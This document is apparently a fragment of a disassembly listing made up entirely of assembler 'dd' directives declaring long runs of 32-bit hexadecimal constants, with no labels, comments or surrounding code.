		dd 9F849700h, 0D9F9B3A5h, 587BC8h, 38A94926h, 0C6640418h
		dd 5C12D707h, 4B80E7C0h, 3781A3Fh, 0CEB79E20h, 1FB01EDFh
		dd 142601A0h, 20324EAh,	98888DE2h, 3C65F2h, 3AB77881h
		dd 6703B980h, 9D1F9800h, 0AF47799Fh, 7FFE002Ch,	237D4A65h
		dd 0CC009231h, 0DEFCC42Dh, 9681996Ah, 3C2A87D4h, 0BFCC4AA5h
		dd 0DB263E00h, 40B59BDCh, 0FFF8671Ch, 5785A540h, 1CF41258h
		dd 0C09F1455h
		dd 8B7D6DBBh, 2500BC69h, 6DFFC3Ch, 12734E89h, 3AE3E2h
		dd 587A63C5h, 740FD691h, 6099BF56h, 78B0855Eh, 0A6920037h
		dd 0C401C9CEh, 0FE00CC21h, 0C3E45F80h, 367304Eh, 0BDD8BA14h
		dd 80B7F508h, 0F298819Ch, 94C5891Ch, 0F8C3D4C0h, 129E4Ah
		dd 1F7170CDh, 7CC6055Ch, 7EDA9400h, 0FA756A95h,	0A1D20086h
		dd 26D38420h, 4B0110FEh, 7147F22Fh, 8851DA75h, 0C820082Bh
		dd 0E31D0045h, 0ED20B2A2h, 14077F9Eh, 135E782Eh, 0FE75DBD0h
		dd 80DA009Dh, 928F4438h, 341F5ACFh, 0C300DF8Bh,	7B6F4D19h
		dd 475E2C39h, 57380084h, 0AB7A4CB8h, 4A29BCA0h,	0EFA03013h
		dd 180D6400h, 9AE179F5h, 163A056Ch, 2068B505h, 89AC82C8h
		dd 0A8DD1E28h, 4C00CCF0h, 70E0C09Eh, 1F0D2Bh, 79FB204Eh
		dd 926FBC6Ch, 29C73800h, 73F86493h, 0C5B018EBh,	0F97EDECDh
		dd 0F4725E09h, 9A8D802Fh, 7A75BDh, 67479954h, 733C1912h
		dd 7452B51Fh, 0F69B890Eh, 1A34FA00h, 24B11F46h,	71DAD3Eh
		dd 9363143h, 0A151EF80h, 0E6005570h, 66D5C5A6h,	1CE88BD1h
		dd 0F3ECCE1h, 0D94340E2h, 0A0F77FA4h, 5B05A7B4h, 98836C24h
		dd 79885607h, 24199330h, 37A000B9h, 0B11707FDh,	1C0092B0h
		dd 0BC189D20h, 8BFB43h,	0BB850684h, 0F511CA3Bh,	0DB86FC00h
		dd 0FDCC465Dh, 67DA24A9h, 0ED6F006Ch, 1814A1F8h, 84EFF100h
		dd 0B51E6AB0h, 98E0FBh,	57B943FEh, 71523C7Fh, 0D0C2B700h
		dd 0A9B0445Ch, 475A3F4Fh, 36DA4ACh, 0D2FF82EAh,	507ADEE0h
		dd 950AC916h, 494E6007h, 6D704401h, 983D5030h, 30410070h
		dd 618964EDh, 133CEE34h, 0A951005Dh, 1FF6CC9Bh,	9DD0048Ch
		dd 0E0867C20h, 0F81FAEC8h, 580068DAh, 8E3AFFF9h, 672000Eh
		dd 0D0C6641h, 1D3CFAD3h, 1F8081F8h, 96F76912h, 85F1E0h
		dd 9F6595C0h, 0B6053513h, 222D4D00h, 53DCD778h,	0CC1F2E9Bh
		dd 0EDA70733h, 36D80B1h, 0C607D54Ah, 0CAA5E082h, 9AAD850h
		dd 2BEF642h, 69251867h,	0A8A0D32Bh, 0E9FD1664h,	88274300h
		dd 0F8783ACCh, 1E08EA0Bh, 0A6A157BFh, 0A9D600E0h, 0CDF64FECh
		dd 47749505h, 5BC0E0CFh, 3DFBC3B5h, 0DA3A2ED5h,	0CD57820Fh
		dd 84BB6AC0h, 1D7D27C8h, 83E7E33Eh, 0BE589B38h,	7587A845h
		dd 17F93B02h, 0EE4EFE84h, 63A780C1h, 85FE345Ch,	12682F5Dh
		dd 30C09BE9h, 5F066Bh, 51151DB8h, 0CBA168D1h, 1A87EC00h
		dd 6A889D32h, 0F0D9817h, 79474D40h, 58CED61h, 0F0F2E8A8h
		dd 0EB3AA700h, 0BE4A2DAFh, 31380211h, 9299F88h,	0B7804C8h
		dd 1FC72094h, 0B7AA62F0h, 0FFF500C1h, 250477BEh, 98122D45h
		dd 0F401EE76h, 0AB3C120Eh, 1AA3F740h, 185261A7h, 0E0CBA5E6h
		dd 0A10091C8h, 5E54B8ECh, 7CE59907h, 49A20093h,	2CBE5A50h
		dd 920083E7h, 9C46E6ACh, 5E3129h, 0BFF26236h, 0E5183EB6h
		dd 4BC5F300h, 0D5565D09h, 3FAF0025h, 24D79011h,	0D41E9D29h
		dd 0C91F8A4Fh, 0E9E12782h, 4AF9E0C3h, 6B73005Eh, 0A5EE2967h
		dd 0C0570E3h, 0BADA72A7h, 1E4AE8E0h, 0DDF27737h, 4527409Ch
		dd 4FB5FF6Eh, 0C55F0B00h, 3B6DFE4Ch, 7CDBFC69h,	70ED008Ah
		dd 20EF36EAh, 6701D1AAh, 0D2A97C95h, 6AC41556h,	931D005Eh
		dd 7DBC3124h, 6F04FD21h, 0CAC90179h, 0A4150EAAh, 8059D884h
		dd 34DD0790h, 0F6EC5B00h, 5E35582Ah, 0A1A700C4h, 6D038E29h
		dd 0FC006E6Ch, 0A3544FB4h, 3D23E3CAh, 0F192D8FAh, 74D40052h
		dd 95FEC7DEh, 0A0D4B300h, 43C56D0Eh, 864F3A6Fh,	49EA7680h
		dd 0D6BF1BCFh, 7944D402h, 0C07B918Fh, 233443h, 0BA13A781h
		dd 0AEAA8CB9h, 72B36C01h, 3198E036h, 4F951424h,	0C86C30CFh
		dd 0B0F0FC8Ch, 0E7EEF609h, 0AF0C2069h, 24A1C135h, 0F9F915h
		dd 0E13997A8h, 93F4DC8h, 37118C6Fh, 13BA613h, 607B845Ah
		dd 0E8CE636Ch, 0D31D505Dh, 0B940A262h, 31F6E8BBh, 0AF3D01F3h
		dd 0FE0A6567h, 0C69E3088h, 5A9258h, 6AE21893h, 7B15519Eh
		dd 0FE8A3EDDh, 0AEFA0680h, 4954C402h, 610E9C00h, 0EA9B7231h
		dd 0BB01F5Dh, 0F5140107h, 0C01CF788h, 0FE1FBBBDh, 0C0C4D56Ch
		dd 0B8E03AEBh, 3962018Eh, 9ADB7025h, 1123F8B6h,	3622A803h
		dd 0E03F1F0Ch, 0E4A19Ch, 9A78348Ah, 3DE97191h, 0F4169000h
		dd 9DC529F3h, 0D5B90026h, 6D0AB61Fh, 0F809E4DCh, 6408C22Eh
		dd 3C8B2430h, 0AD813F5Ah, 0A297D2Ch, 4B656068h,	0F57D1AECh
		dd 0D076BB8h, 0A4CA468Bh, 91B4A0ABh, 8DFE9Eh, 0F1CBF0B5h
		dd 7F528A84h, 0DD0F0100h, 3E543772h, 0F3920748h, 0F7BFC8B6h
		dd 0A06D30Bh, 2C28E1B8h, 6AB7D40Fh, 364EE025h, 31D83CEh
		dd 335F4A3Eh, 0D2B194F6h, 9F21801Fh, 0F00BE57Eh, 6FC00B1h
		dd 0A763EA38h, 0AB0CAA5Fh, 0DE886F7Bh, 0C48700AEh, 0E66AEF4Eh
		dd 89725C6Ch, 0A900DDF6h, 0CA94D935h, 2C12BBh, 189AD06Fh
		dd 0A614F0EDh, 356C0E00h, 97BF02C0h, 46950F30h,	0CDA0E5B9h
		dd 57DBAD27h, 0D543C06h, 16488DE7h, 0C05A1C0Ah,	6813DAC4h
		dd 1AF4C0Eh, 0D903E4A8h, 7288CCCh, 0A6B561B4h, 0CE97D0EAh
		dd 0B9007051h, 0F1383921h, 1C8D7ADFh, 400E89CFh, 8855BF5Fh
		dd 731E7B31h, 4019D52h,	32E94050h, 0A4004829h, 4B0E5FB9h
		dd 85C7707h, 0FD4338C9h, 809391CFh, 0AB3EB822h,	1B10039Eh
		dd 5DB603B7h, 0E50CAD80h, 9BAA180Eh, 2E1D4080h,	34DA04Ah
		dd 5F2B297Fh, 69055611h, 5EC72A95h, 0FC687418h,	8D2601B3h
		dd 2A92114Fh, 0DC10429Fh, 0EA0CF000h, 0CB45021h, 560A37E2h
		dd 0B7258050h, 0A32D717Eh, 599C80D8h, 0DD6D6Eh,	9AD2AE12h
		dd 92E6625Dh, 3E7CE4EBh, 1B233600h, 0F0E2AA0h, 707F00FBh
		dd 0E2A75B16h, 0D6007DCEh, 648FD991h, 0BC3E02h,	27129C90h
		dd 0EE1D38B5h, 0E8285B03h, 0F89859C9h, 39BF8DADh, 73005E3Ah
		dd 1083F512h, 1F003CA3h, 96514156h, 479586h, 94D01163h
		dd 0DE985E1Eh, 3F619A1Fh, 27756BCFh, 0B857773Dh, 0CD9DA830h
		dd 0D4E00A5h, 37C9E68h,	0D8004AD6h, 0CBD01E25h,	0FC623Fh
		dd 0A9AD8E1Ch, 0B0F43E68h, 9775BE01h, 0BC0898E1h, 1CC3C2C4h
		dd 13B73643h, 1097FFh, 2BA2215h, 497C0F05h, 0D0081F2Ah
		dd 124D00EBh, 0EB546DDh, 239DCE00h, 7996C203h, 0BF5D0299h
		dd 67F1B12Eh, 0C0921321h, 77B08CCh, 0D3F05F34h,	21EC4607h
		dd 0C0BDA400h, 0D4A6B993h, 0DD260072h, 40F1B755h, 730E4BABh
		dd 81605D6Dh, 0ED75A05Fh, 2D3C432Fh, 53C0B6B3h,	0D90EBE4Dh
		dd 97D76018h, 5ADA68D0h, 0E75C00A9h, 2C5E4C1h, 513B2169h
		dd 8641818Dh, 755D9855h, 203A8992h, 9C5C3974h, 3088B300h
		dd 0A40927BAh, 0C42F465h, 7213203h, 0A80F36E8h,	805A4895h
		dd 6133ECFDh, 40AF00ACh, 735FD6AEh, 631CE15Ch, 6E5E314Fh
		dd 9547880h, 171566DAh,	0C97E9h, 76F60812h, 7100A623h
		dd 46FE9103h, 0EDE3F95h, 0AB4165Eh, 680051ABh, 0BD57AC7Eh
		dd 39A3BE3Eh, 0F14980F4h, 0F2F6E55Ah, 0D96E00D3h, 12CDF5B5h
		dd 0F706EFDCh, 9FD49B0Bh, 78410008h, 0E5C53F25h, 470F7A86h
		dd 20D27E59h, 490A3E9Fh, 0CA610169h, 0C2FFE88Fh, 137E95Ah
		dd 0BA1F36E5h, 67CEAB04h, 83C03F2Bh, 6D5E4CA7h,	1ABCC91Fh
		dd 0F3EB6300h, 861C25h,	87A9E7D6h, 0BFE8815Fh, 0C63BBC00h
		dd 62918D12h, 291562C9h, 4E22E48Ah, 13A22295h, 64387D21h
		dd 0AF107E02h, 86E8994h, 70EF208Ah, 10E59222h, 21BC0F4Fh
		dd 0F4F208AAh, 88242688h, 968866C0h, 0FD338C11h, 28A21AA1h
		dd 29118163h, 6576C032h
		dd 64E51E9h, 0A19EDA14h, 5128FE50h, 4022F544h, 0E20FE8E6h
		dd 0E03C0BBAh, 10A52C77h, 7ADB1F28h, 56A44037h,	0B665BFF7h
		dd 20F04300h, 7F3F71CDh, 644D0058h, 0E14A091Ah,	991D9234h
		dd 0E780DF97h, 5E0D2296h, 586B3F3Bh, 0F7E38B80h, 0C1EBC9C7h
		dd 5F4EC600h, 0B3A32E85h, 77F6008Eh, 518D24CBh,	9600BC34h
		dd 0EED676B5h, 0D262ADh, 0CE690D11h, 0EAC352D0h, 2790FE00h
		dd 35445FAEh, 7C34003Ah, 7882E9B4h, 7671190Eh, 7B04FB00h
		dd 6AA7A951h, 0B67302EAh, 5DE67CD4h, 3E44C380h,	7E007A14h
		dd 1C6E5694h, 6407C8h, 0E3E8DB25h, 0C4143F93h, 110095E8h
		dd 9C54AAF6h, 77872D38h, 0F3C90D7h, 83405E12h, 0DC496060h
		dd 0B700F553h, 0A921A787h, 0B5F1BDh, 0C13332CFh, 16EE9B26h
		dd 619CAE09h, 0A9A380A1h, 1C10B4DFh, 42EC19h, 0B854F169h
		dd 3D01FE31h, 2A5D7C6Bh, 7180BA1Eh, 32DD61A1h, 5400E880h
		dd 241CD381h, 3B36250h,	3CE17812h, 7800A811h, 0C449F9E5h
		dd 267E8h, 0BBC2FC77h, 0C7DB6BC3h, 5D1DAD00h, 0B5F3D1A7h
		dd 8C1F0747h, 0D0EF0E5Ch, 7CDA8152h, 0DD1D9700h, 71CCD2F2h
		dd 8AE30024h, 0FDABF101h, 21303FC4h, 0FCA3DCAAh, 9B0D00A6h
		dd 83865306h, 1900C769h, 681CACCAh, 15A3C35h, 57F7F834h
		dd 0C0467E48h, 2F0153DEh, 1EEC54FAh, 0ADFCBA27h, 0E4B4004Bh
		dd 88114D5Dh, 0F80748ABh, 6B8C0DAEh, 73125BC0h,	3EFF2A4h
		dd 0F5E88AB2h, 1AB83667h, 0E11DAD22h, 9443662Bh, 761563h
		dd 7EA8CE42h, 0E044E89Fh, 7F00BDE6h, 0AC6BE75Fh, 7492C2h
		dd 42E988B2h, 0B12D0B3Ch, 6F81FC01h, 53EC55F6h,	2E7CC4h
		dd 19B093CCh, 0B70CF86h, 1F709448h, 0A600E1EEh,	3BC91468h
		dd 60FB00A5h, 0D7B09A7Dh, 5800B801h, 8F56E6EFh,	48BFB90Ah
		dd 4100B5F9h, 0CE2EA593h, 21281ECAh, 907FC65h, 277B2A70h
		dd 4AC080D5h, 13CBAC72h, 55DE2Ch, 2A747162h, 60923D0h
		dd 188467CFh, 0F3B1A4h,	35E58EBDh, 7212D6CDh, 0E3F62C78h
		dd 0A60063FCh, 7C182A9Bh, 7548D58h, 0BC0E8FFFh,	556F20AEh
		dd 95E69C8Eh, 0F407A000h, 0BA6CE3F9h, 0B701005Fh, 0AC91D76h
		dd 0A2F6BC9Ah, 0FF16990Eh, 0E84AA03Dh, 2478EEh,	43278F1Bh
		dd 6F7F6B60h, 0A2D37E00h, 0C369D5B2h, 770100E2h, 0E35712BAh
		dd 0B6003F66h, 0D762CA22h, 782ABADh, 2CA5CB23h,	5F6710F0h
		dd 860042C6h, 2B1D737Fh, 48147B84h, 41002DD2h, 6405531Bh
		dd 470092DAh, 9EAC2587h, 1D240BC4h, 6E37958Eh, 2AF40037h
		dd 4AAEEE59h, 0DAA8221Eh, 0B373FDC0h, 93A397h, 0D6B92091h
		dd 5B5D4E63h, 30ADC00Eh, 0D977C082h, 24368009h,	0B0526Bh
		dd 26143306h, 4F0086F8h, 0CE663FFAh, 3F4CA67Dh,	0A98058BBh
		dd 0C2827AEFh, 0A3004210h, 0C3043C6Bh, 1F0EB4D8h, 0C05E621Fh
		dd 6F51B3F8h, 0C0704FB2h, 0A0124778h, 4100073Bh, 8E96920Ah
		dd 0AB40245Dh, 0C2C300E4h, 0E3F06889h, 92CD7F00h, 655A7984h
		dd 489600FDh, 28DE2B0h,	289AFFA5h, 0C62D2200h, 12924D4Fh
		dd 0D60E00CAh, 0E70F875Eh, 509059BEh, 0E4D8FF00h, 0B38B8939h
		dd 18C0045h, 0E29D0A78h, 4F00CEB2h, 0D71F23Fh, 75E37A2h
		dd 663C4564h, 6096D031h, 797BB8FDh, 7EA0BC00h, 63703E33h
		dd 0DF61008Bh, 43BA4D5h, 180F504Bh, 40172E8Dh, 0F4459D02h
		dd 0A15C0AC1h, 3EC728Ah, 7D068938h, 0B75518F0h,	58098600h
		dd 4895C1F7h, 3BA2FE31h, 82003D36h, 1E0FE51Bh, 520F7EF3h
		dd 0C0379B8Ch, 0F7F68741h, 26D00F0h, 0D72A8E6Bh, 0C3124429h
		dd 90414F2Ch, 0E0A2B660h, 67A1FCh, 0BF7D0F04h, 991F726Eh
		dd 0C6008DECh, 29EC9D23h, 1F5610B9h, 40979B20h,	19C8E784h
		dd 1F00DB12h, 31B46CA5h, 761BEACh, 839CDEEBh, 29F1D014h
		dd 0AF003E4Bh, 1CB4EE09h, 1E1D877Ch, 8014D406h,	7F1373BEh
		dd 0FB00E7B9h, 0D9BFBA40h, 78E79B3h, 91AFCB43h,	0FC7E405Eh
		dd 0F9001BEAh, 73C09F4h, 1558839h, 95462887h, 2E182347h
		dd 16B19AA0h, 0F05E6F4Bh, 3D76B64Bh, 0BAA50100h, 0FEF9FAB8h
		dd 0B9CD24CCh, 0BB68001Eh, 0E291D34Bh, 9765D200h, 41CB3178h
		dd 23AA0FC2h, 7A6005FEh, 99625D67h, 91EF700h, 0AC4980B5h
		dd 47040E26h, 41C3ABC1h, 16D078F0h, 390988F7h, 80067018h
		dd 93DC4412h, 8F5E0757h, 0F0542C99h, 0DA74AFA3h, 85E2C6ECh
		dd 8328C900h, 42B0EB6Ah, 0E7C7004Ch, 96083F90h,	0CB07D64Dh
		dd 8886C2D0h, 425F93C0h, 0C3D0046h, 0B8CF8CE6h,	1D000407h
		dd 0D36FA75Eh, 35882FDh, 4D79D608h, 14B8F59Dh, 38006134h
		dd 65FC2C69h, 72FF359h,	1F9B23BAh, 0A5C1B08Ah, 0E9307857h
		dd 0D3BC2A13h, 845D0BCFh, 0F80B917h, 593CDCDDh,	58EE6B00h
		dd 50A666E9h, 5A2000C3h, 0B47DA48h, 0A500D410h,	0A4BDF57Ch
		dd 801BF4h, 0B413E1C2h,	3EC54516h, 0E692D016h, 0D58C4D00h
		dd 0CB67B6h, 541E9CC3h,	319BE494h, 4F76CC00h, 1337054Bh
		dd 0B9FE07E7h, 0C33811EBh, 5EE8F2AEh, 8118193Ah, 5830A016h
		dd 26DD0FD4h, 1A80494Ch, 12BB0207h, 1D0333Bh, 21953287h
		dd 448EFC0Ah, 0E2405CB6h, 980DD8C4h, 0EE40CCFFh, 0B4CDB200h
		dd 72D5A114h, 3B910017h, 21B848DBh, 6A7A8E69h, 39393277h
		dd 76CE0040h, 0B12A9E42h, 8A58005Ch, 0B9C6D274h, 7C1CA980h
		dd 881F22Fh, 0FE55E459h, 3BBFC0h, 0C18C6E2Ah, 77F93E9Bh
		dd 6F92DD1Dh, 7B40B6C0h, 3B0BA854h, 808007CCh, 0B0D0AE14h
		dd 0FB00D3E6h, 876088FAh, 86CDEAh, 0F74D75A2h, 10F11777h
		dd 3B0C4101h, 383D8AF5h, 0C532A70h, 887708C6h, 150059E0h
		dd 0C1DB2639h, 0E580E3h, 0AC844755h, 499E5C04h,	0A499FB00h
		dd 40C22834h, 8D6900E0h, 0ED7FF073h, 14010747h,	49BB8B67h
		dd 7871540Bh, 34B5FFCh,	0A879306Bh, 219395D1h, 0D98198A0h
		dd 0C71C7EE4h, 3F80B6F1h, 6F15E4A6h, 3B4B0153h,	8D4FFE03h
		dd 2DEDC8D5h, 1A3F9400h, 3A91C435h, 0B716074Dh,	80C379B2h
		dd 1FDC27A5h, 0A8DFFD00h, 0B4A7EA46h, 9B4000AAh, 31CE425Bh
		dd 53019039h, 6CCCDC3h,	45FC6324h, 93D00E55h, 0B036FBC2h
		dd 7400C680h, 0BB0E41F8h, 45EBE7h, 2732625Bh, 0F6FE7E46h
		dd 3B3FED00h, 29B2F05h,	0C284009Fh, 16BA1103h, 0CD008EF0h
		dd 0D41F8A5Dh, 98420Ah,	0AF6F8D06h, 0FCE98C43h,	873B5A24h
		dd 0FCA91Eh, 498B31A2h,	118E57h, 1C25D0A5h, 71E4F2DCh
		dd 96E267B8h, 0ABE9CB02h, 60FD2D80h, 33DCAB6h, 4CC68307h
		dd 8FB89170h, 0E9B822A2h, 28142D00h, 0A340AC3Ah, 2B900F37h
		dd 0BC60E120h, 0C41018AAh, 8DCCCF03h, 0C728734Bh, 0EBF42F60h
		dd 49C3018Eh, 0DCB6D1E6h, 39708F63h, 0F0CC4093h, 2E9DC5h
		dd 838E53B7h, 811C4C57h, 8135773Dh, 38159870h, 0C2D4A43Fh
		dd 9ABF068Eh, 0CC497961h, 52B22F00h, 805D407Ch,	6BE8018Ch
		dd 4BEAE5D1h, 0A868BAFFh, 81036CE2h, 0F71E5E72h, 2FD9C8C9h
		dd 0D49F2616h, 8B8C004Ch, 0E271FDF0h, 7DA53Dh, 586274FAh
		dd 0CB1727h, 359E8D38h,	66230E44h, 0CCFCA700h, 107C3A9h
		dd 306F03F8h, 1448D8FEh, 9BDE1809h, 0ADC58099h,	20BEF42h
		dd 0F15EE715h, 9EC08393h, 3C00DBF4h, 0A5A17520h, 9E24D1h
		dd 5E7670FBh, 887BAFE0h, 6F9D5603h, 71393E83h, 334D00D0h
		dd 0ABECC4DAh, 0AE009B96h, 3082566Ch, 6E75B6h, 0CD2D88F3h
		dd 0F7B35DA0h, 0E7A40C00h, 7EB6AADBh, 0B5540078h, 8B943305h
		dd 7A016BA0h, 0DA43FC15h
		dd 0C340C7Fh, 4D1624DEh, 0B17D0324h, 0FDB0C3E1h, 8B50C141h
		dd 9F73BBE9h, 9EDBAA00h, 1D9780Eh, 653B007Fh, 3520D189h
		dd 98009D45h, 3F31D462h, 14B09D0h, 57F90F36h, 0F8102EAEh
		dd 92000C7Eh, 0DBC38185h, 0DA7D53h, 0A3F208B9h,	317C1A5h
		dd 266320C0h, 0EA7716h,	191AB7DFh, 1F27E156h, 7DD8BD07h
		dd 0DE00963Bh, 3FEE9BBFh, 4700689Ah, 0DA299165h, 2E38F37Dh
		dd 0F7941DE3h, 6A74A400h, 488B2396h, 73004446h,	83D74F30h
		dd 0C1304E7Eh, 325EF0B7h, 0FAB100E2h, 4599AED2h, 142085BEh
		dd 30CE000Ch, 245CD5ADh, 0D0005331h, 226C988Eh,	3B513D4Bh
		dd 0FFA67A89h, 0B7540030h, 53F8EF17h, 7B4E300Eh, 8BCFA0D7h
		dd 44675Ah, 0CD3E2349h,	5672EDF3h, 0B873E000h, 0C02EB317h
		dd 75910750h, 402C438Bh, 935AC762h, 0F5528200h,	34892380h
		dd 86391DB2h, 712C8066h, 28D1CBDAh, 5243858h, 3ED77A9Eh
		dd 6D4F8B80h, 8A01F64h,	1B5F40ADh, 0FBB3F5EEh, 0E62D3Fh
		dd 6973218Eh, 0B9619Ch,	637E137Fh, 0D49DA402h, 0E6C13604h
		dd 0C0AE4EF7h, 93ACA393h, 16C4971Ch, 79FBF3C0h,	304A75h
		dd 0F5659F4Ch, 6FE51DCCh, 5EEA160Eh, 2BC1A0E6h,	6D12D1Bh
		dd 0BB41E2F3h, 0A6E678F7h, 804F0B38h, 0D0F946B6h, 7B4CCFh
		dd 4E47EFD9h, 5D3F1B38h, 0B912F390h, 8841BDA7h,	1A6E3AFh
		dd 2D1420h, 26EB070h, 20D22F5Fh, 54F60400h, 0AB3412B2h
		dd 0E8ECA0B6h, 33240C2Ch, 4100818h, 0EE4C1F00h,	9CC7411h
		dd 0C8C705F3h, 0E46D91Eh, 796057ECh, 0F00F4526h, 2B1D9507h
		dd 0C230B82Ah, 12929C85h, 0DF833Dh, 1D5C4360h, 31C9AAFh
		dd 57C7BBDDh, 9F73E81Ch, 60B0003Eh, 0A5297EE0h,	0F0260C0Eh
		dd 8400997Bh, 0C8975419h, 0C314004Eh, 0FD40EC8Eh, 0A3B1713h
		dd 4A7F00FEh, 4592A381h, 3852FED5h, 0CC0901B7h,	0E0031BA5h
		dd 0F8E09E7Ah, 25E8F771h, 1FD9D0Eh, 23960B47h, 0E87CE61Ch
		dd 4A0449F6h, 3C25F846h, 1007572h, 25F20782h, 3F6EC8h
		dd 0A58E3EBCh, 63C64696h, 2F9C291Eh, 0E0D83686h, 0D2CD02C8h
		dd 0F1D62F9h, 0A2848840h, 0FEFC391Fh, 3C00771Eh, 13AC02BAh
		dd 4911486Fh, 98170600h, 9CCE5C56h, 0B119A71Dh,	0F41D6740h
		dd 0ACA9FEh, 1C5ED577h,	94CFF945h, 0E95CDA7Eh, 602F0148h
		dd 557E3392h, 767B32C0h, 4CD7B9Bh, 73FD15C3h, 3D0880BFh
		dd 0B504CA9h, 930010ECh, 9C41B66Ch, 0F08DF8A3h,	0FE0D2A80h
		dd 0E4F702FCh, 0F07951EEh, 4ACA4468h, 1262ED00h, 441FC052h
		dd 0E50E00DBh, 0FF34F61Ah, 0EC0BB671h, 80A32BC8h, 56776904h
		dd 868500FDh, 7F9FE36h,	0F40063D8h, 0B9830CC2h,	0A3934F2Bh
		dd 4580BC98h, 0C1E312h,	0E22E5B98h, 69F76632h, 0BC342B28h
		dd 0FDE17801h, 0A18F9E45h, 1D4A1DDCh, 0C2239573h, 0DC477FABh
		dd 0FD026440h, 0C952608Ah, 3A5D00D1h, 7582A820h, 1F0F6F30h
		dd 0A0919FCCh, 0C11CE459h, 57B82Fh, 0C70385C9h,	0DE9B7472h
		dd 15C23602h, 80326DECh, 0A44684A0h, 96F8FBBDh,	2F7C0738h
		dd 0F953FBD8h, 5707A880h, 490368AAh, 64D7819Bh,	69FC80E8h
		dd 1C7539F9h, 5B15BC03h, 503E34B3h, 1F484953h, 0FB40E510h
		dd 18ADBEEh, 0E798A0D2h, 0BCAE00A6h, 5129D830h,	5D019FB9h
		dd 31B385C3h, 0CC403DDAh, 2275578h, 6E79B153h, 0CC8E160h
		dd 3A007C0Eh, 0D1507539h, 0C534AB6Fh, 80E10D18h, 0FAC77F8Ch
		dd 8002613Ah, 0D580E563h, 2598ADh, 0CF46AB73h, 0BD6AACA0h
		dd 0F02DEE4h, 60DC24CBh, 4EB8E0E3h, 0D77100F3h,	97A662A9h
		dd 6D0790B8h, 0EB72D4AFh, 37A5CEC0h, 0B7F651h, 93973048h
		dd 17AADF69h, 2488EB00h, 2312DAD7h, 3F2B0009h, 54C86EF8h
		dd 1A00EC2Fh, 1EE41956h, 0E8B6A063h, 7A0D00F2h,	2289CFEBh
		dd 6D2698D7h, 0A901E8D4h, 32F5C241h, 48F97AC0h,	6712C8F7h
		dd 734C20DBh, 0FA01F5B0h, 6258830Dh, 5430C170h,	0A36073Ch
		dd 306A114Bh, 7A6B831h,	2B85382Eh, 982ED402h, 41E8687Eh
		dd 457F006Ch, 0C5D27269h, 0ED3EE317h, 0EFC9050Ch, 0D800D188h
		dd 56A73C2Dh, 83DC1530h, 7D00C422h, 962E90C7h, 7173C91Bh
		dd 6842E71Fh, 8E16A780h, 7D7A69h, 0D14AB646h, 34A4B887h
		dd 7F3B3Fh, 0FD73C29Ch,	0B8F27D9Dh, 2C709D8h, 3C40CF33h
		dd 8D004C19h, 0F4C43E7Ch, 71C373FCh, 3C264D52h,	94067900h
		dd 15EF5604h, 5B76D898h, 0E5FEB600h, 0A40D0F92h, 85DA00BFh
		dd 0C06CE0Bh, 187DB78Ch, 0E68FC400h, 0A0CCFA3Dh, 0D3B3182Fh
		dd 0B0ED10E7h, 0AD731A00h, 0F842A670h, 109818DCh, 1361A0A5h
		dd 88CC7228h, 0BE7EB713h, 0A88C7800h, 1B30319h,	0CA9DCE9Ah
		dd 20D5EF5Ah, 0D9005ECCh, 31264D0Ah, 193535Bh, 68CCACDAh
		dd 0D8898188h, 5D28701Ah, 5100F8CEh, 5AE8BA56h,	0B179C8h
		dd 5F01077Eh, 14A8D283h, 403A4D6Eh, 3F84E5B2h, 0E42C0095h
		dd 2E5386CDh, 0A00040C2h, 89830222h, 1429FADh, 0D4A2585Dh
		dd 30869296h, 43003844h, 828790FFh, 78954B16h, 8CD33CB4h
		dd 7024205Ch, 0AD750018h, 430347E1h, 6E00D773h,	733D58FEh
		dd 164BD05Ch, 9F50BFh, 61B6A8E7h, 8600239Eh, 161CED90h
		dd 0F36A4270h, 0EFD0460h, 7611A2D1h, 878763A7h,	2CEFC053h
		dd 0F4E48EE6h, 2B52170Ah, 8738BF28h, 86631591h,	76A450B0h
		dd 499D38A7h, 0BB196780h, 9A6018C8h, 0CCBF5Ch, 0F12410A0h
		dd 4D0C69h, 3F20D190h, 1418FEB7h, 58440430h, 6DA360h, 24FC58DFh
		dd 0F5CC5B2h, 0C4F1AB00h, 9C4698E2h, 738A0038h,	0BD6E89B1h
		dd 2601F4B4h, 32552037h, 6B60CB8Eh, 641E045Bh, 0C091774Bh
		dd 0D25868ECh, 0D58D5C0Eh, 8744C093h, 906C4Dh, 0C0DBEC28h
		dd 0E495ACCAh, 2A0025FCh, 71BFEDBCh, 90329Ch, 64355AB4h
		dd 430F1AF4h, 3C93AF07h, 4261EE97h, 0A4E9C4A7h,	49AE5020h
		dd 902701Ah, 4484CB85h,	36002070h, 70AE9031h, 7D4FF306h
		dd 971C00A4h, 4D03420Fh, 0EC00B8ADh, 66D69B48h,	0C72016h
		dd 93EFD241h, 559E7F75h, 4FE9A10Ah, 39C83Ah, 0DF03071Fh
		dd 0F34ECE32h, 7D5AD8h,	0AE77AF60h, 61FE8783h, 0ECFFC8CAh
		dd 0AB260F60h, 773C00EFh, 0B3EC4937h, 580089E9h, 0BD7687BBh
		dd 205CC6h, 399B4C6Dh, 24A93459h, 0C8375716h, 122C4001h
		dd 10307AE4h, 0EC67003Fh, 25AD309Ah, 0FE00DB2Bh, 0F4A93CE2h
		dd 0E76C1Ch, 0C284D492h, 71462EFCh, 2407C4A4h, 39E6117Ah
		dd 9C2B3AF1h, 0FC2DED0h, 8910E29Bh, 0E487EB29h,	0BABE1196h
		dd 8E0F204h, 0A01C875Ch, 0E1DED403h, 4AD2E681h,	287452D7h
		dd 0C6AE0020h, 7253E395h, 8300CFF0h, 0E0F6F3CBh, 1E06B0AAh
		dd 0E426225h, 4CE09F99h, 597E5A3Ah, 0CFBE2200h,	274D44A5h
		dd 5C1800DCh, 0D14BF90h, 421D94D7h, 8000A007h, 818708A6h
		dd 0FEA33E8Ah, 4EA73BBCh, 3600525Ch, 6B4426D0h,	13A703FAh
		dd 28B1DA1Dh, 13338F8h,	17ABF91Dh, 0ED152A40h, 9C5E1Eh
		dd 1D4888D4h, 59799061h, 0B0D25A00h, 22201729h,	0C8620581h
		dd 0C0B3EEF7h, 0ED58BE3Ah, 9D152504h, 98C0735Bh, 18B4DE05h
		dd 0A0F7AAD0h, 0E173C434h, 6CA83800h, 0A4F0F2F3h, 41A10490h
		dd 8345AE6Fh, 6DA89E82h, 7900777Eh, 0E33D8CABh,	688BDCh
		dd 0FD4CBF38h, 0C8ADAAB9h, 0BB6521Fh, 890269C0h, 28DA7BEh
		dd 0AEE8DFC4h, 0F1C02861h, 500B907h, 0C3F964BFh, 9A462h
